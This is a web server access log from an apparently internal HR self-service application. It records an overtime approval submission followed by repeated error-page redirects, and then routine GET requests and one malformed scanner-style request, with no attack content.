192.168.40.91 - - [03/Sep/2025:13:56:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [03/Sep/2025:13:56:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [03/Sep/2025:13:56:43 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:43 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 -
192.168.40.91 - - [03/Sep/2025:13:56:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131052%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131052&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [03/Sep/2025:13:56:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131052%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131052&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [03/Sep/2025:13:56:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [03/Sep/2025:13:56:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [03/Sep/2025:13:56:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [03/Sep/2025:13:56:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [03/Sep/2025:13:56:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [03/Sep/2025:13:56:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [03/Sep/2025:13:56:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [03/Sep/2025:13:56:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [03/Sep/2025:13:56:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [03/Sep/2025:13:56:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [03/Sep/2025:13:56:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [03/Sep/2025:13:56:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [03/Sep/2025:13:56:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [03/Sep/2025:13:56:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [03/Sep/2025:13:56:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [03/Sep/2025:13:56:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [03/Sep/2025:13:56:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:56:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [03/Sep/2025:13:56:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:57:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:13:57:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10037
100.64.0.1 - - [03/Sep/2025:13:59:31 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:13:59:31 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:13:59:44 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:13:59:44 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:14:02:48 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:14:02:48 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:14:05:04 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:14:05:04 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:14:05:51 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:14:05:51 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:14:08:25 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:14:08:25 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:14:09:47 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:14:09:47 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:14:15:07 +0800] "MGLNDD_222.92.19.198_8088" 501 227 "-" "-"
100.64.0.1 - - [03/Sep/2025:14:15:07 +0800] "MGLNDD_222.92.19.198_8088" 501 227
100.64.0.1 - - [03/Sep/2025:14:18:59 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:14:18:59 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:14:22:40 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:14:22:40 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:14:23:41 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:14:23:41 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:14:24:50 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:14:24:50 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:14:25:06 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:14:25:06 +0800] "GET / HTTP/1.0" 200 439
